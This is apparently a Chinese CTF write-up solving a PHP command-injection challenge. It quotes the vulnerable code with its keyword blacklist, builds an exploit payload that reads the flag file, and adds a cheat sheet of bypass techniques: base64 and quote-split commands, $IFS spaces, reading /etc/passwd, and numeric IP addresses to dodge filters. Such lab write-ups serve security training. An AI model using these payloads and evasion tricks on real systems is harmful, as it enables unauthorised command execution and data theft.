favorite_number
白盒有源码
<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
$num= $_POST["num"];
if (preg_match("/^\d+$/im",$num)){
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
echo "my favorite num is:";
system("echo ".$num);
}else{
echo 'Bonjour!';
}
}
} else {
highlight_file(__FILE__);
}
post两个变量:stuff数组和num字符串
首先进行了个数组的比较
要使stuff数组和array相等但是0号元素却和array的零号元素admin不等
这怎么可能????
但是看到特地标注了php5.5.9
看来是php版本的漏洞了
再网上查了下
漏洞报告
https://bugs.php.net/bug.php?id=69892
构造stuff[4294967296]=admin&stuff[1]=user&num=123
if (preg_match("/^\d+$/im",$num)){
num中要全是数字,但是有/m多行匹配
用%0a换行符绕过
stuff[4294967296]=admin&stuff[1]=user&num=123%0a
先匹配第一行123,满足,再匹配第二行
最后
!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)
过滤掉了flag和cat
用全局变量绕过
stuff[4294967296]=admin&stuff[1]=user&num=123%0a a=f;d=ag;c=l;tac /$a$c$d
总结
:1:用hackbar提交post请求会进行url编码最好用burp
2:命令执行知识:
php中执行系统命令
system()
passthru()
exec()
shell_exec()
echo @`whoami`;
ob_start()
system()
mail+LD_PRELOAD
空格${IFS},$IFS$9,%09
终止符%00 %20# %0a 0x00 /00
分隔符 ; & | echo 123%0a
敏感字符绕过
cat
==
a=c;b=a;c=t;$a$b$c
==
echo 'cat'|base64
`echo 'bHMK'|base64 -d`
cat$x /etc/passwd
cat /etc/pass'w'd
文件构造
1>1 空文件
ls>1
网络地址有另外一种表示形式就是数字地址,比如127.0.0.1可以转化为2130706433可以直接访问http://2130706433或者http://0x7F000001这样就可以绕过.的ip过滤,这里给个转化网址http://www.msxindl.com/tools/ip/ip_num.asp